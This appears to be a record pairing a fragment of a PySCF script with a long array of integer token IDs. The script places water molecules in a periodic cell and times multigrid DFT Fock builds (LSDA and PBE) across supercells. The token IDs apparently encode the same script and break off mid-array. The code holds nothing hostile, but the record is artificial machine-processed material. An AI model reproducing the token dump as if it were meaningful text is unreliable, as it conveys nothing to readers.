O 5.635247 6.076875 5.563993
O 11.728434 1.601906 5.079475
O 9.771134 9.814114 3.548703
O 3.944355 10.563450 4.687536
O 0.890357 6.382287 4.065806
O 6.862447 6.425182 2.488202
O 3.813963 6.595122 3.762649
O 6.562448 8.295463 8.807182
O 9.809455 0.143325 3.886553
O 4.117074 11.661225 2.221679
O 5.295317 8.735561 2.763183
O 9.971999 5.379339 5.340378
O 12.254708 8.643874 3.957116
O 2.344274 10.761274 6.829162
O 7.013416 0.643488 10.518797
O 5.152349 10.233624 10.359388
O 11.184278 5.884064 10.298279
O 12.252335 8.974142 9.070831
H 12.415139 2.233125 11.257611
H 11.922476 1.573799 9.986994
H 5.608192 3.371543 8.971482
H 6.731226 3.060851 8.004962
H -0.169205 1.565594 7.589645
H -0.455440 2.954771 8.118939
H 12.125168 2.826463 1.205443
H 12.888828 2.969761 2.504745
H 11.553255 4.386613 11.465566
H 12.818281 4.960808 12.067151
H 7.049495 1.772344 4.247898
H 6.353019 0.798145 5.174047
H 7.781850 7.384852 5.420566
H 9.103203 6.754017 5.035898
H 12.771232 11.788645 8.931744
H 12.018035 10.650652 8.276334
H 3.557245 3.792529 9.848846
H 2.543844 4.884102 9.577958
H 2.320235 4.521250 6.329813
H 2.872128 3.749963 7.509824
H 1.209685 7.121391 1.140501
H 2.238885 6.038801 0.894245
H 2.763109 8.856353 2.336735
H 1.329379 9.047369 2.783755
H 4.315639 11.533388 9.203449
H 3.098742 12.433043 9.244412
H 5.987369 3.448974 3.590530
H 5.813096 3.419344 2.086985
H 1.057126 1.675344 4.969379
H 2.248496 2.292119 5.670892
H 8.508264 1.653337 7.464411
H 8.066015 2.034597 6.067646
H 5.197835 2.915542 11.821572
H 6.630900 3.329981 12.079371
H 10.788986 6.436672 2.127933
H 11.657923 5.463602 1.359832
H 3.544476 1.634958 10.977765
H 4.755770 1.455054 10.087655
H 4.465371 3.375459 5.665294
H 5.682663 4.264430 5.524498
H 6.174815 11.778676 1.582954
H 5.713640 12.089924 0.174999
H 3.476076 1.498708 2.028983
H 2.730229 2.134295 3.182949
H 7.119624 5.936450 7.474030
H 8.536492 5.799405 6.958665
H 5.909499 5.717477 11.667621
H 6.125402 6.196758 13.087330
H 11.203499 12.513536 11.804844
H 10.260930 12.300153 12.970145
H 9.985036 3.927685 2.878172
H 8.545584 3.468329 2.972331
H 1.399882 6.620092 7.093246
H 0.963561 6.112523 5.735345
H 8.067363 3.674002 9.979955
H 8.000737 2.375959 10.756190
H 11.821629 10.402510 12.020482
H 12.206854 8.983242 12.379892
H 3.461473 7.606485 7.889688
H 3.844478 6.304711 8.560946
H 3.179884 7.585614 11.148494
H 4.401957 7.652030 12.039573
H 11.573777 5.053211 7.169515
H 10.342076 4.186083 7.320831
H 10.065640 8.919194 1.760981
H 9.629585 8.322499 0.439729
H 1.396302 6.546079 9.625630
H 1.405516 6.479759 11.138049
H 4.024008 1.232518 5.405828
H 4.736858 0.579881 6.571077
H 9.452293 12.313381 8.732772
H 8.976559 11.502788 7.545965
H 1.834701 10.012311 0.153462
H 3.295197 9.836403 -0.204175
H 7.056724 11.401702 4.095264
H 6.499038 10.020287 3.825865
H 1.365541 0.487338 11.013887
H 2.501591 -0.428131 11.417871
H 8.644279 1.812362 1.005409
H 8.142674 0.388030 1.112955
H 1.272659 8.365063 8.191888
H 2.142485 8.877768 7.063867
H 8.961493 7.826192 9.265523
H 9.227102 8.487654 10.601118
H 10.150144 7.758934 6.392768
H 10.596082 9.187988 6.167290
H 3.463106 4.096188 2.129414
H 3.919461 4.539801 0.755791
H 7.418998 9.394959 12.028876
H 7.430413 7.883095 12.106546
H 7.972905 10.220334 5.841196
H 7.675111 9.631498 7.203725
H 5.332446 6.381336 6.419473
H 5.000025 6.434186 4.943466
H 11.575078 2.271167 4.412540
H 11.219802 0.847030 4.783357
H 8.865342 9.721516 3.843998
H 10.000732 10.719285 3.758898
H 3.186196 10.476397 5.265333
H 4.407331 11.335128 5.013723
H 0.558187 7.255936 3.859331
H 0.341672 5.789383 3.552346
H 7.459933 6.526049 3.229193
H 6.696228 5.483739 2.440372
H 3.864872 6.313007 2.849385
H 2.876419 6.621201 3.953862
H 5.631529 8.079145 8.753997
H 7.003296 7.568245 8.367822
H 9.615413 0.527902 3.031755
H 8.962985 0.109366 4.332162
H 3.825854 11.139182 1.474087
H 4.063988 11.063232 2.967211
H 5.784391 7.914558 2.708486
H 4.780461 8.655167 3.566110
H 10.880659 5.444664 5.046607
H 9.593331 4.687991 4.797350
H 11.562317 8.960134 3.376765
H 11.926084 8.816948 4.839320
H 2.856874 11.297981 7.433660
H 1.492332 11.195517 6.786033
H 7.145820 0.090200 9.749009
H 7.227275 0.077690 11.260665
H 4.662021 9.538430 10.798155
H 5.994537 9.833472 10.142985
H 10.544299 6.595857 10.301445
H 11.281750 5.653082 9.374494
H 12.103020 8.841164 10.006916
H 11.491592 8.576221 8.647557
""",
basis = 'gth-tzv2p',
pseudo = 'gth-pade',
max_memory = 50000,
precision = 1e-6)
for xc in ('lsda', 'pbe'):
for images in ([1,1,1], [2,1,1], [2,2,1], [2,2,2]):
cell = pbc.tools.super_cell(cell0, images)
nao = cell.nao
log.note('nao = %d', nao)
dm = np.random.random((nao,nao))
dm = dm + dm.T
mf = cell.RKS().set(xc=xc)
mf.with_df = multigrid.MultiGridFFTDF(cell)
cpu0 = time.clock(), time.time()
v = mf.get_veff(cell, dm)
log.timer('Fock build (xc=%s, nao=%d)' % (xc, nao), *cpu0)
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
13,
5215,
2897,
13,
5215,
931,
13,
5215,
12655,
408,
7442,
13,
5215,
282,
952,
6854,
13,
3166,
282,
952,
6854,
29889,
29886,
12328,
29889,
29881,
615,
1053,
1773,
335,
2429,
13,
13,
1188,
353,
282,
952,
6854,
29889,
1982,
29889,
21707,
29889,
16363,
29898,
369,
15828,
29922,
29945,
29897,
13,
2541,
1722,
11219,
15439,
29914,
21970,
3888,
1495,
408,
285,
29901,
13,
1678,
363,
1196,
297,
285,
29901,
13,
4706,
565,
525,
4299,
1024,
29915,
297,
1196,
29901,
13,
9651,
1480,
29889,
6812,
29898,
1220,
7503,
29899,
29896,
2314,
13,
9651,
2867,
13,
2541,
1722,
11219,
15439,
29914,
6954,
3888,
1495,
408,
285,
29901,
13,
1678,
1480,
29889,
6812,
29898,
29888,
29889,
949,
1220,
580,
7503,
29899,
29896,
2314,
13,
1188,
29889,
6812,
877,
29949,
3580,
29918,
13967,
29918,
4690,
16310,
29903,
16328,
29879,
29905,
29876,
742,
2897,
29889,
21813,
29889,
657,
877,
29949,
3580,
29918,
13967,
29918,
4690,
16310,
29903,
742,
6213,
876,
13,
13,
13,
1884,
2435,
353,
29871,
29896,
29906,
29889,
29946,
29896,
29941,
29947,
13,
3729,
29900,
353,
282,
952,
6854,
29889,
29924,
29898,
29874,
353,
7442,
29889,
1032,
29872,
29898,
29941,
29897,
334,
3800,
2435,
29892,
13,
18884,
12301,
353,
9995,
13,
29949,
539,
29896,
29906,
29889,
29906,
29941,
29945,
29941,
29906,
29906,
4706,
29896,
29889,
29941,
29955,
29953,
29953,
29946,
29906,
539,
29896,
29900,
29889,
29947,
29953,
29929,
29947,
29947,
29900,
13,
29949,
4706,
29953,
29889,
29946,
29946,
29945,
29941,
29929,
29900,
4706,
29941,
29889,
29955,
29900,
29953,
29929,
29946,
29900,
4706,
29947,
29889,
29953,
29945,
29900,
29955,
29929,
29946,
13,
29949,
4706,
29900,
29889,
29900,
29947,
29945,
29929,
29955,
29955,
4706,
29906,
29889,
29896,
29947,
29896,
29941,
29906,
29906,
4706,
29947,
29889,
29906,
29955,
29953,
29953,
29953,
29941,
13,
29949,
539,
29896,
29906,
29889,
29900,
29945,
29906,
29945,
29945,
29946,
4706,
29906,
29889,
29953,
29955,
29896,
29941,
29953,
29953,
4706,
29906,
29889,
29896,
29946,
29955,
29896,
29929,
29929,
13,
29949,
539,
29896,
29906,
29889,
29906,
29945,
29900,
29900,
29941,
29953,
4706,
29946,
29889,
29896,
29929,
29900,
29929,
29941,
29900,
539,
29896,
29906,
29889,
29900,
29929,
29906,
29900,
29896,
29946,
13,
29949,
4706,
29955,
29889,
29896,
29947,
29955,
29946,
29906,
29906,
4706,
29900,
29889,
29929,
29945,
29929,
29900,
29953,
29906,
4706,
29946,
29889,
29955,
29941,
29941,
29946,
29953,
29929,
13,
29949,
4706,
29947,
29889,
29941,
29946,
29953,
29946,
29945,
29955,
4706,
29955,
29889,
29906,
29896,
29900,
29900,
29946,
29900,
4706,
29946,
29889,
29953,
29953,
29955,
29953,
29946,
29946,
13,
29949,
539,
29896,
29906,
29889,
29941,
29953,
29896,
29945,
29946,
29953,
539,
29896,
29896,
29889,
29945,
29906,
29955,
29947,
29955,
29945,
4706,
29947,
29889,
29896,
29900,
29953,
29947,
29947,
29955,
13,
29949,
4706,
29941,
29889,
29906,
29929,
29929,
29929,
29947,
29946,
4706,
29946,
29889,
29946,
29946,
29900,
29947,
29896,
29953,
4706,
29929,
29889,
29896,
29929,
29941,
29906,
29955,
29945,
13,
29949,
4706,
29906,
29889,
29947,
29945,
29945,
29947,
29906,
29929,
4706,
29941,
29889,
29955,
29945,
29929,
29929,
29900,
29929,
4706,
29953,
29889,
29945,
29945,
29906,
29947,
29896,
29945,
13,
29949,
4706,
29896,
29889,
29941,
29929,
29906,
29946,
29929,
29946,
4706,
29953,
29889,
29941,
29953,
29906,
29955,
29945,
29941,
4706,
29900,
29889,
29945,
29947,
29953,
29896,
29955,
29906,
13,
29949,
4706,
29896,
29889,
29947,
29945,
29947,
29953,
29946,
29945,
4706,
29947,
29889,
29953,
29929,
29946,
29900,
29896,
29941,
4706,
29906,
29889,
29900,
29953,
29947,
29955,
29941,
29947,
13,
29949,
4706,
29941,
29889,
29955,
29955,
29900,
29906,
29941,
29896,
539,
29896,
29906,
29889,
29900,
29929,
29946,
29945,
29896,
29929,
4706,
29947,
29889,
29953,
29945,
29906,
29896,
29947,
29941,
13,
29949,
4706,
29953,
29889,
29946,
29941,
29906,
29945,
29900,
29947,
4706,
29941,
29889,
29953,
29953,
29929,
29947,
29906,
29947,
4706,
29906,
29889,
29955,
29955,
29906,
29946,
29896,
29947,
13,
29949,
4706,
29896,
29889,
29929,
29929,
29947,
29955,
29906,
29946,
4706,
29896,
29889,
29947,
29906,
29900,
29906,
29896,
29955,
4706,
29946,
29889,
29947,
29955,
29953,
29946,
29946,
29900,
13,
29949,
4706,
29947,
29889,
29906,
29946,
29947,
29945,
29947,
29896,
4706,
29906,
29889,
29946,
29900,
29946,
29955,
29941,
29900,
4706,
29953,
29889,
29929,
29941,
29896,
29941,
29900,
29941,
13,
29949,
4706,
29945,
29889,
29955,
29945,
29941,
29947,
29896,
29946,
4706,
29941,
29889,
29941,
29953,
29900,
29900,
29906,
29929,
539,
29896,
29906,
29889,
29946,
29953,
29896,
29945,
29941,
29946,
13,
29949,
539,
29896,
29896,
29889,
29941,
29906,
29906,
29906,
29896,
29906,
4706,
29945,
29889,
29953,
29946,
29929,
29906,
29941,
29929,
4706,
29906,
29889,
29906,
29941,
29953,
29955,
29929,
29947,
13,
29949,
4706,
29946,
29889,
29906,
29955,
29955,
29941,
29896,
29947,
4706,
29906,
29889,
29896,
29896,
29941,
29929,
29945,
29953,
539,
29896,
29900,
29889,
29945,
29929,
29900,
29947,
29900,
29947,
13,
29949,
4706,
29945,
29889,
29946,
29900,
29945,
29900,
29896,
29945,
4706,
29941,
29889,
29941,
29946,
29929,
29906,
29946,
29955,
4706,
29945,
29889,
29946,
29947,
29946,
29955,
29900,
29906,
13,
29949,
4706,
29953,
29889,
29946,
29929,
29941,
29906,
29955,
29947,
539,
29896,
29896,
29889,
29947,
29953,
29929,
29929,
29945,
29947,
4706,
29900,
29889,
29953,
29947,
29946,
29929,
29896,
29906,
13,
29949,
4706,
29941,
29889,
29906,
29955,
29945,
29906,
29945,
29900,
4706,
29906,
29889,
29941,
29946,
29953,
29945,
29955,
29953,
4706,
29906,
29889,
29946,
29906,
29945,
29906,
29946,
29896,
13,
29949,
4706,
29955,
29889,
29929,
29947,
29896,
29900,
29900,
29941,
4706,
29953,
29889,
29941,
29945,
29906,
29945,
29896,
29906,
4706,
29955,
29889,
29945,
29900,
29955,
29929,
29955,
29900,
13,
29949,
4706,
29945,
29889,
29929,
29947,
29945,
29929,
29929,
29900,
4706,
29953,
29889,
29945,
29896,
29906,
29947,
29945,
29946,
539,
29896,
29906,
29889,
29896,
29929,
29946,
29953,
29946,
29947,
13,
29949,
539,
29896,
29900,
29889,
29953,
29941,
29953,
29955,
29896,
29946,
539,
29896,
29896,
29889,
29947,
29945,
29953,
29947,
29955,
29906,
539,
29896,
29906,
29889,
29906,
29900,
29929,
29945,
29946,
29900,
13,
29949,
4706,
29929,
29889,
29941,
29896,
29906,
29906,
29947,
29941,
4706,
29941,
29889,
29953,
29955,
29900,
29941,
29947,
29946,
4706,
29941,
29889,
29945,
29900,
29947,
29945,
29929,
29946,
13,
29949,
4706,
29896,
29889,
29896,
29900,
29953,
29947,
29947,
29945,
4706,
29945,
29889,
29947,
29941,
29900,
29941,
29900,
29896,
4706,
29953,
29889,
29953,
29941,
29947,
29953,
29929,
29945,
13,
29949,
4706,
29947,
29889,
29900,
29900,
29947,
29900,
29900,
29955,
4706,
29941,
29889,
29941,
29906,
29953,
29941,
29953,
29941,
539,
29896,
29900,
29889,
29947,
29953,
29929,
29947,
29896,
29947,
13,
29949,
539,
29896,
29906,
29889,
29946,
29900,
29941,
29900,
29900,
29900,
4706,
29929,
29889,
29953,
29947,
29955,
29946,
29900,
29945,
539,
29896,
29896,
29889,
29955,
29953,
29896,
29929,
29900,
29896,
13,
29949,
4706,
29946,
29889,
29906,
29896,
29929,
29955,
29947,
29906,
4706,
29955,
29889,
29900,
29947,
29945,
29941,
29896,
29945,
4706,
29947,
29889,
29896,
29945,
29941,
29946,
29955,
29900,
13,
29949,
4706,
29941,
29889,
29955,
29947,
29896,
29945,
29945,
29955,
4706,
29947,
29889,
29906,
29900,
29941,
29947,
29906,
29896,
539,
29896,
29896,
29889,
29945,
29953,
29941,
29906,
29955,
29906,
13,
29949,
539,
29896,
29896,
29889,
29900,
29947,
29947,
29947,
29929,
29947,
4706,
29946,
29889,
29945,
29941,
29906,
29900,
29947,
29896,
4706,
29955,
29889,
29947,
29900,
29929,
29946,
29955,
29945,
13,
29949,
539,
29896,
29900,
29889,
29941,
29947,
29955,
29945,
29946,
29947,
4706,
29947,
29889,
29946,
29900,
29947,
29947,
29929,
29900,
4706,
29896,
29889,
29900,
29896,
29955,
29947,
29947,
29906,
13,
29949,
4706,
29896,
29889,
29929,
29955,
29929,
29900,
29896,
29953,
4706,
29953,
29889,
29946,
29896,
29947,
29900,
29929,
29896,
539,
29896,
29900,
29889,
29941,
29955,
29946,
29896,
29945,
29929,
13,
29949,
4706,
29946,
29889,
29953,
29953,
29900,
29945,
29946,
29955,
4706,
29900,
29889,
29945,
29946,
29929,
29953,
29953,
29953,
4706,
29945,
29889,
29953,
29896,
29955,
29946,
29900,
29941,
13,
29949,
4706,
29947,
29889,
29955,
29946,
29945,
29947,
29947,
29900,
539,
29896,
29906,
29889,
29906,
29945,
29953,
29906,
29945,
29955,
4706,
29947,
29889,
29900,
29947,
29929,
29941,
29947,
29941,
13,
29949,
4706,
29906,
29889,
29953,
29953,
29906,
29900,
29946,
29896,
539,
29896,
29900,
29889,
29946,
29947,
29929,
29947,
29929,
29900,
4706,
29900,
29889,
29900,
29929,
29906,
29929,
29947,
29900,
13,
29949,
4706,
29955,
29889,
29906,
29946,
29896,
29953,
29953,
29896,
539,
29896,
29900,
29889,
29946,
29955,
29896,
29947,
29896,
29945,
4706,
29946,
29889,
29906,
29906,
29953,
29929,
29946,
29953,
13,
29949,
4706,
29906,
29889,
29906,
29955,
29953,
29947,
29906,
29955,
4706,
29900,
29889,
29906,
29955,
29953,
29953,
29946,
29955,
539,
29896,
29900,
29889,
29947,
29896,
29900,
29946,
29896,
29955,
13,
29949,
4706,
29947,
29889,
29947,
29947,
29955,
29955,
29941,
29941,
4706,
29900,
29889,
29929,
29946,
29953,
29947,
29955,
29955,
4706,
29896,
29889,
29941,
29941,
29941,
29947,
29947,
29945,
13,
29949,
4706,
29896,
29889,
29929,
29946,
29941,
29945,
29945,
29946,
4706,
29947,
29889,
29900,
29947,
29947,
29945,
29945,
29906,
4706,
29955,
29889,
29945,
29953,
29955,
29953,
29945,
29900,
13,
29949,
4706,
29929,
29889,
29953,
29953,
29955,
29929,
29946,
29906,
4706,
29947,
29889,
29900,
29945,
29953,
29955,
29945,
29929,
4706,
29929,
29889,
29947,
29953,
29947,
29947,
29946,
29955,
13,
29949,
539,
29896,
29900,
29889,
29929,
29900,
29945,
29946,
29929,
29896,
4706,
29947,
29889,
29941,
29941,
29929,
29953,
29941,
29947,
4706,
29953,
29889,
29946,
29947,
29946,
29955,
29947,
29906,
13,
29949,
4706,
29941,
29889,
29945,
29900,
29955,
29955,
29941,
29941,
4706,
29946,
29889,
29947,
29953,
29906,
29946,
29900,
29906,
4706,
29896,
29889,
29945,
29945,
29955,
29946,
29941,
29929,
13,
29949,
4706,
29947,
29889,
29900,
29896,
29900,
29946,
29945,
29955,
4706,
29947,
29889,
29953,
29946,
29906,
29947,
29946,
29953,
539,
29896,
29906,
29889,
29900,
29945,
29945,
29929,
29953,
29929,
13,
29949,
4706,
29947,
29889,
29941,
29955,
29946,
29946,
29946,
29953,
539,
29896,
29900,
29889,
29900,
29941,
29945,
29929,
29941,
29906,
4706,
29953,
29889,
29953,
29929,
29900,
29941,
29900,
29929,
13,
29949,
4706,
29945,
29889,
29953,
29941,
29945,
29906,
29946,
29955,
4706,
29953,
29889,
29900,
29955,
29953,
29947,
29955,
29945,
4706,
29945,
29889,
29945,
29953,
29941,
29929,
29929,
29941,
13,
29949,
539,
29896,
29896,
29889,
29955,
29906,
29947,
29946,
29941,
29946,
4706,
29896,
29889,
29953,
29900,
29896,
29929,
29900,
29953,
4706,
29945,
29889,
29900,
29955,
29929,
29946,
29955,
29945,
13,
29949,
4706,
29929,
29889,
29955,
29955,
29896,
29896,
29941,
29946,
4706,
29929,
29889,
29947,
29896,
29946,
29896,
29896,
29946,
4706,
29941,
29889,
29945,
29946,
29947,
29955,
29900,
29941,
13,
29949,
4706,
29941,
29889,
29929,
29946,
29946,
29941,
29945,
29945,
539,
29896,
29900,
29889,
29945,
29953,
29941,
29946,
29945,
29900,
4706,
29946,
29889,
29953,
29947,
29955,
29945,
29941,
29953,
13,
29949,
4706,
29900,
29889,
29947,
29929,
29900,
29941,
29945,
29955,
4706,
29953,
29889,
29941,
29947,
29906,
29906,
29947,
29955,
4706,
29946,
29889,
29900,
29953,
29945,
29947,
29900,
29953,
13,
29949,
4706,
29953,
29889,
29947,
29953,
29906,
29946,
29946,
29955,
4706,
29953,
29889,
29946,
29906,
29945,
29896,
29947,
29906,
4706,
29906,
29889,
29946,
29947,
29947,
29906,
29900,
29906,
13,
29949,
4706,
29941,
29889,
29947,
29896,
29941,
29929,
29953,
29941,
4706,
29953,
29889,
29945,
29929,
29945,
29896,
29906,
29906,
4706,
29941,
29889,
29955,
29953,
29906,
29953,
29946,
29929,
13,
29949,
4706,
29953,
29889,
29945,
29953,
29906,
29946,
29946,
29947,
4706,
29947,
29889,
29906,
29929,
29945,
29946,
29953,
29941,
4706,
29947,
29889,
29947,
29900,
29955,
29896,
29947,
29906,
13,
29949,
4706,
29929,
29889,
29947,
29900,
29929,
29946,
29945,
29945,
4706,
29900,
29889,
29896,
29946,
29941,
29941,
29906,
29945,
4706,
29941,
29889,
29947,
29947,
29953,
29945,
29945,
29941,
13,
29949,
4706,
29946,
29889,
29896,
29896,
29955,
29900,
29955,
29946,
539,
29896,
29896,
29889,
29953,
29953,
29896,
29906,
29906,
29945,
4706,
29906,
29889,
29906,
29906,
29896,
29953,
29955,
29929,
13,
29949,
4706,
29945,
29889,
29906,
29929,
29945,
29941,
29896,
29955,
4706,
29947,
29889,
29955,
29941,
29945,
29945,
29953,
29896,
4706,
29906,
29889,
29955,
29953,
29941,
29896,
29947,
29941,
13,
29949,
4706,
29929,
29889,
29929,
29955,
29896,
29929,
29929,
29929,
4706,
29945,
29889,
29941,
29955,
29929,
29941,
29941,
29929,
4706,
29945,
29889,
29941,
29946,
29900,
29941,
29955,
29947,
13,
29949,
539,
29896,
29906,
29889,
29906,
29945,
29946,
29955,
29900,
29947,
4706,
29947,
29889,
29953,
29946,
29941,
29947,
29955,
29946,
4706,
29941,
29889,
29929,
29945,
29955,
29896,
29896,
29953,
13,
29949,
4706,
29906,
29889,
29941,
29946,
29946,
29906,
29955,
29946,
539,
29896,
29900,
29889,
29955,
29953,
29896,
29906,
29955,
29946,
4706,
29953,
29889,
29947,
29906,
29929,
29896,
29953,
29906,
13,
29949,
4706,
29955,
29889,
29900,
29896,
29941,
29946,
29896,
29953,
4706,
29900,
29889,
29953,
29946,
29941,
29946,
29947,
29947,
539,
29896,
29900,
29889,
29945,
29896,
29947,
29955,
29929,
29955,
13,
29949,
4706,
29945,
29889,
29896,
29945,
29906,
29941,
29946,
29929,
539,
29896,
29900,
29889,
29906,
29941,
29941,
29953,
29906,
29946,
539,
29896,
29900,
29889,
29941,
29945,
29929,
29941,
29947,
29947,
13,
29949,
539,
29896,
29896,
29889,
29896,
29947,
29946,
29906,
29955,
29947,
4706,
29945,
29889,
29947,
29947,
29946,
29900,
29953,
29946,
539,
29896,
29900,
29889,
29906,
29929,
29947,
29906,
29955,
29929,
13,
29949,
539,
29896,
29906,
29889,
29906,
29945,
29906,
29941,
29941,
29945,
4706,
29947,
29889,
29929,
29955,
29946,
29896,
29946,
29906,
4706,
29929,
29889,
29900,
29955,
29900,
29947,
29941,
29896,
13,
29950,
539,
29896,
29906,
29889,
29946,
29896,
29945,
29896,
29941,
29929,
4706,
29906,
29889,
29906,
29941,
29941,
29896,
29906,
29945,
539,
29896,
29896,
29889,
29906,
29945,
29955,
29953,
29896,
29896,
13,
29950,
539,
29896,
29896,
29889,
29929,
29906,
29906,
29946,
29955,
29953,
4706,
29896,
29889,
29945,
29955,
29941,
29955,
29929,
29929,
4706,
29929,
29889,
29929,
29947,
29953,
29929,
29929,
29946,
13,
29950,
4706,
29945,
29889,
29953,
29900,
29947,
29896,
29929,
29906,
4706,
29941,
29889,
29941,
29955,
29896,
29945,
29946,
29941,
4706,
29947,
29889,
29929,
29955,
29896,
29946,
29947,
29906,
13,
29950,
4706,
29953,
29889,
29955,
29941,
29896,
29906,
29906,
29953,
4706,
29941,
29889,
29900,
29953,
29900,
29947,
29945,
29896,
4706,
29947,
29889,
29900,
29900,
29946,
29929,
29953,
29906,
13,
29950,
418,
448,
29900,
29889,
29896,
29953,
29929,
29906,
29900,
29945,
4706,
29896,
29889,
29945,
29953,
29945,
29945,
29929,
29946,
4706,
29955,
29889,
29945,
29947,
29929,
29953,
29946,
29945,
13,
29950,
418,
448,
29900,
29889,
29946,
29945,
29945,
29946,
29946,
29900,
4706,
29906,
29889,
29929,
29945,
29946,
29955,
29955,
29896,
4706,
29947,
29889,
29896,
29896,
29947,
29929,
29941,
29929,
13,
29950,
539,
29896,
29906,
29889,
29896,
29906,
29945,
29896,
29953,
29947,
4706,
29906,
29889,
29947,
29906,
29953,
29946,
29953,
29941,
4706,
29896,
29889,
29906,
29900,
29945,
29946,
29946,
29941,
13,
29950,
539,
29896,
29906,
29889,
29947,
29947,
29947,
29947,
29906,
29947,
4706,
29906,
29889,
29929,
29953,
29929,
29955,
29953,
29896,
4706,
29906,
29889,
29945,
29900,
29946,
29955,
29946,
29945,
13,
29950,
539,
29896,
29896,
29889,
29945,
29945,
29941,
29906,
29945,
29945,
4706,
29946,
29889,
29941,
29947,
29953,
29953,
29896,
29941,
539,
29896,
29896,
29889,
29946,
29953,
29945,
29945,
29953,
29953,
13,
29950,
539,
29896,
29906,
29889,
29947,
29896,
29947,
29906,
29947,
29896,
4706,
29946,
29889,
29929,
29953,
29900,
29947,
29900,
29947,
539,
29896,
29906,
29889,
29900,
29953,
29955,
29896,
29945,
29896,
13,
29950,
4706,
29955,
29889,
29900,
29946,
29929,
29946,
29929,
29945,
4706,
29896,
29889,
29955,
29955,
29906,
29941,
29946,
29946,
4706,
29946,
29889,
29906,
29946,
29955,
29947,
29929,
29947,
13,
29950,
4706,
29953,
29889,
29941,
29945,
29941,
29900,
29896,
29929,
4706,
29900,
29889,
29955,
29929,
29947,
29896,
29946,
29945,
4706,
29945,
29889,
29896,
29955,
29946,
29900,
29946,
29955,
13,
29950,
4706,
29955,
29889,
29955,
29947,
29896,
29947,
29945,
29900,
4706,
29955,
29889,
29941,
29947,
29946,
29947,
29945,
29906,
4706,
29945,
29889,
29946,
29906,
29900,
29945,
29953,
29953,
13,
29950,
4706,
29929,
29889,
29896,
29900,
29941,
29906,
29900,
29941,
4706,
29953,
29889,
29955,
29945,
29946,
29900,
29896,
29955,
4706,
29945,
29889,
29900,
29941,
29945,
29947,
29929,
29947,
13,
29950,
539,
29896,
29906,
29889,
29955,
29955,
29896,
29906,
29941,
29906,
539,
29896,
29896,
29889,
29955,
29947,
29947,
29953,
29946,
29945,
4706,
29947,
29889,
29929,
29941,
29896,
29955,
29946,
29946,
13,
29950,
539,
29896,
29906,
29889,
29900,
29896,
29947,
29900,
29941,
29945,
539,
29896,
29900,
29889,
29953,
29945,
29900,
29953,
29945,
29906,
4706,
29947,
29889,
29906,
29955,
29953,
29941,
29941,
29946,
13,
29950,
4706,
29941,
29889,
29945,
29945,
29955,
29906,
29946,
29945,
4706,
29941,
29889,
29955,
29929,
29906,
29945,
29906,
29929,
4706,
29929,
29889,
29947,
29946,
29947,
29947,
29946,
29953,
13,
29950,
4706,
29906,
29889,
29945,
29946,
29941,
29947,
29946,
29946,
4706,
29946,
29889,
29947,
29947,
29946,
29896,
29900,
29906,
4706,
29929,
29889,
29945,
29955,
29955,
29929,
29945,
29947,
13,
29950,
4706,
29906,
29889,
29941,
29906,
29900,
29906,
29941,
29945,
4706,
29946,
29889,
29945,
29906,
29896,
29906,
29945,
29900,
4706,
29953,
29889,
29941,
29906,
29929,
29947,
29896,
29941,
13,
29950,
4706,
29906,
29889,
29947,
29955,
29906,
29896,
29906,
29947,
4706,
29941,
29889,
29955,
29946,
29929,
29929,
29953,
29941,
4706,
29955,
29889,
29945,
29900,
29929,
29947,
29906,
29946,
13,
29950,
4706,
29896,
29889,
29906,
29900,
29929,
29953,
29947,
29945,
4706,
29955,
29889,
29896,
29906,
29896,
29941,
29929,
29896,
4706,
29896,
29889,
29896,
29946,
29900,
29945,
29900,
29896,
13,
29950,
4706,
29906,
29889,
29906,
29941,
29947,
29947,
29947,
29945,
4706,
29953,
29889,
29900,
29941,
29947,
29947,
29900,
29896,
4706,
29900,
29889,
29947,
29929,
29946,
29906,
29946,
29945,
13,
29950,
4706,
29906,
29889,
29955,
29953,
29941,
29896,
29900,
29929,
4706,
29947,
29889,
29947,
29945,
29953,
29941,
29945,
29941,
4706,
29906,
29889,
29941,
29941,
29953,
29955,
29941,
29945,
13,
29950,
4706,
29896,
29889,
29941,
29906,
29929,
29941,
29955,
29929,
4706,
29929,
29889,
29900,
29946,
29955,
29941,
29953,
29929,
4706,
29906,
29889,
29955,
29947,
29941,
29955,
29945,
29945,
13,
29950,
4706,
29946,
29889,
29941,
29896,
29945,
29953,
29941,
29929,
539,
29896,
29896,
29889,
29945,
29941,
29941,
29941,
29947,
29947,
4706,
29929,
29889,
29906,
29900,
29941,
29946,
29946,
29929,
13,
29950,
4706,
29941,
29889,
29900,
29929,
29947,
29955,
29946,
29906,
539,
29896,
29906,
29889,
29946,
29941,
29941,
29900,
29946,
29941,
4706,
29929,
29889,
29906,
29946,
29946,
29946,
29896,
29906,
13,
29950,
4706,
29945,
29889,
29929,
29947,
29955,
29941,
29953,
29929,
4706,
29941,
29889,
29946,
29946,
29947,
29929,
29955,
29946,
4706,
29941,
29889,
29945,
29929,
29900,
29945,
29941,
29900,
13,
29950,
4706,
29945,
29889,
29947,
29896,
29941,
29900,
29929,
29953,
4706,
29941,
29889,
29946,
29896,
29929,
29941,
29946,
29946,
4706,
29906,
29889,
29900,
29947,
29953,
29929,
29947,
29945,
13,
29950,
4706,
29896,
29889,
29900,
29945,
29955,
29896,
29906,
29953,
4706,
29896,
29889,
29953,
29955,
29945,
29941,
29946,
29946,
4706,
29946,
29889,
29929,
29953,
29929,
29941,
29955,
29929,
13,
29950,
4706,
29906,
29889,
29906,
29946,
29947,
29946,
29929,
29953,
4706,
29906,
29889,
29906,
29929,
29906,
29896,
29896,
29929,
4706,
29945,
29889,
29953,
29955,
29900,
29947,
29929,
29906,
13,
29950,
4706,
29947,
29889,
29945,
29900,
29947,
29906,
29953,
29946,
4706,
29896,
29889,
29953,
29945,
29941,
29941,
29941,
29955,
4706,
29955,
29889,
29946,
29953,
29946,
29946,
29896,
29896,
13,
29950,
4706,
29947,
29889,
29900,
29953,
29953,
29900,
29896,
29945,
4706,
29906,
29889,
29900,
29941,
29946,
29945,
29929,
29955,
4706,
29953,
29889,
29900,
29953,
29955,
29953,
29946,
29953,
13,
29950,
4706,
29945,
29889,
29896,
29929,
29955,
29947,
29941,
29945,
4706,
29906,
29889,
29929,
29896,
29945,
29945,
29946,
29906,
539,
29896,
29896,
29889,
29947,
29906,
29896,
29945,
29955,
29906,
13,
29950,
4706,
29953,
29889,
29953,
29941,
29900,
29929,
29900,
29900,
4706,
29941,
29889,
29941,
29906,
29929,
29929,
29947,
29896,
539,
29896,
29906,
29889,
29900,
29955,
29929,
29941,
29955,
29896,
13,
